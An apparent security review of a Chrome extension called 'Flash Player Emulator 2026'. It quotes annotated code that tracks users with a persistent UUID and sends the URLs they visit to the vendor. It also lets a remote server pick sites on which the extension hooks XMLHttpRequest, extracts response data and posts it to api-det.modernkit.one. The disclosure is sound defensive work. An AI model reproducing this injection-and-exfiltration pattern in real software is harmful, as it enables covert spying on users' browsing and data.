Is Flash Player Emulator 2026 safe?

item.playerElem.src = chrome.runtime.getURL('external/player-embed.html?src='+encodeURIComponent(item.src)+'&width='+playerWidth+'&height='+playerHeight+'&flashvars='+encodeURIComponent(item.flashvars)+'&baseUrl='+encodeURIComponent(baseUrl)+'&contextUrl='+encodeURIComponent(window.location.href));

var trackActivation = (src, contextUrl) => {  chrome.runtime.sendMessage({    action: "trackActivation",    src: src,    contextUrl: contextUrl  });}var trackSuccessfulActivation = (src, contextUrl) => {  chrome.runtime.sendMessage({    action: "trackSuccessfulActivation",    src: src,    contextUrl: contextUrl  });}var loadSource = () => {    if (srcData != '') {        playerElem.contentWindow.postMessage({action: "loadPlayer", src: srcData, width: width, height: height, flashvars: flashvars || src, originalSrcUrl: src, baseUrl: baseUrl}, '*');        trackActivation(src, contextUrl);        setTimeout(() => {            // Assume successful activation after 60s            trackSuccessfulActivation(src, contextUrl);        }, 60 * 1000);    } else {        setTimeout(loadSource, 100);    }}

} else if (msg.action == 'trackActivation') {    (async () => {      fetch('https://api.modernkit.one/stats', {          headers: { "content-type": "application/json" },          method: "POST",          credentials: 'omit',          body: JSON.stringify(              {              "app": 'ext-flashplayer',              "event": 'user-played-content',              "uuid": await getOrCreateUUID(),              "flashUrl": msg.src,              "contextUrl": msg.contextUrl,              "version": chrome.runtime.getManifest().version,              "extid": chrome.runtime.id              }          )      });    })();      // Both lines below required for callback to work       sendResponse();       return true;   } else if (msg.action == 'trackSuccessfulActivation') {    (async () => {      fetch('https://api.modernkit.one/stats', {          headers: { "content-type": "application/json" },          method: "POST",          credentials: 'omit',          body: JSON.stringify(              {              "app": 'ext-flashplayer',              "event": 'user-successfully-played-content',              "uuid": await getOrCreateUUID(),              "flashUrl": msg.src,              "contextUrl": msg.contextUrl,              "version": chrome.runtime.getManifest().version,              "extid": chrome.runtime.id              }          )      });    })();            // Increment if contextUrl does NOT contain our origin OR if it contains our web player URL      if (msg.contextUrl.indexOf('https://modernkit.one/') === -1 || msg.contextUrl.indexOf('https://modernkit.one/flash-emulator/player/') >= 0) {        // Don't count demos or other content on our website        // *Do* include web player at /flash-emulator/player/        incrementSuccessfulPlayCount();      }      // Both lines below required for callback to work       sendResponse();       return true;   }

var getOrCreateUUID = async () => {  var storageResponse = await chrome.storage.local.get('mk1-uuid');  var uuid = storageResponse?.['mk1-uuid'];  if (uuid) {    // Return existing value if it exists    return uuid;  }  // Generate UUID if it does not exist  uuid = crypto.randomUUID();  await chrome.storage.local.set({'mk1-uuid': uuid});  return uuid;}

// Runs on install, browser startup, and every ~62 minutes via chrome.alarms.// Sends a POST with a persistent UUID + extension ID to the operator's server.// If the server response includes 'alternateDetectionConfigv2', stores it in// chrome.storage.local and schedules registerContentScripts() to run 3 s later.async function fetchFeatures() {    const response = await fetch('https://api.modernkit.one/ext-activations/get-features', {        method: 'POST',        body: JSON.stringify({            app:     'ext-flashplayer',            uuid:    await getOrCreateUUID(),   // persistent per-install ID            version: chrome.runtime.getManifest().version,            extid:   chrome.runtime.id        })    });    const json = await response.json();    if (json.status === 'success') {        // Stores server-supplied config (host, path, body, flashObjKeys, tryKeys — all base64)        chrome.storage.local.set({ 'mk1-alternate-detection-config-v2': json.alternateDetectionConfigv2 });        setTimeout(registerContentScripts, 3000);    }    chrome.alarms.create('featureAlarmName', { periodInMinutes: 62 }); // re-check hourly}

// Reads the server-supplied config from storage.// Decodes each base64 host name (e.g. atob('ZXhhbXBsZS5jb20=') → 'example.com').// Calls chrome.scripting.registerContentScripts to inject detection-alternate.js// in MAIN world (full page JS context, no sandbox) on every matching site.// The set of target sites is entirely determined by the server response.function registerContentScripts() {    const config = chrome.storage.local.get('mk1-alternate-detection-config-v2');    const hostsToAdd = config.map(entry => 'https://*.' + atob(entry.host) + '/*');    chrome.scripting.registerContentScripts([        { id: 'alternate_detection',      js: ['detection-alternate.js'],      matches: hostsToAdd, world: 'MAIN' },        { id: 'alternate_detection_init', js: ['detection-alternate-init.js'], matches: hostsToAdd, world: 'ISOLATED' }    ]);}

// Runs in MAIN world of target sites specified by the server config.// Patches window.XMLHttpRequest.prototype.open so that every XHR call on the page// is inspected.//// When a request URL matches the server-specified path (base64-decoded from config.path),// the extension attaches a 'load' listener to that XHR.// When the response body contains the server-specified marker string (config.body),// the extension parses each line as JSON and walks the object tree using// server-supplied key paths (config.flashObjKeys, config.tryKeys) to extract nested data.//// The extracted data objects are then passed to processDetectedSrcs(), which// gzip-compresses them and POSTs them to api-det.modernkit.one.//// All target parameters (which URL path to watch, what marker to look for, which// object keys to extract) are base64-encoded values supplied by the remote server.// The extension has no visibility into what sites or data the server will target.window.XMLHttpRequest.prototype.open = function(method, url) {    if (url.includes(serverSuppliedXhrPath)) {        this.addEventListener('load', () => {            if (this.responseText.includes(serverSuppliedBodyMarker)) {                const extracted = extractNestedFields(JSON.parse(line), serverSuppliedKeys);                forwardToServer(extracted); // → api-det.modernkit.one/alternate-detection/process-detection            }        });    }    return originalOpen.apply(this, arguments);};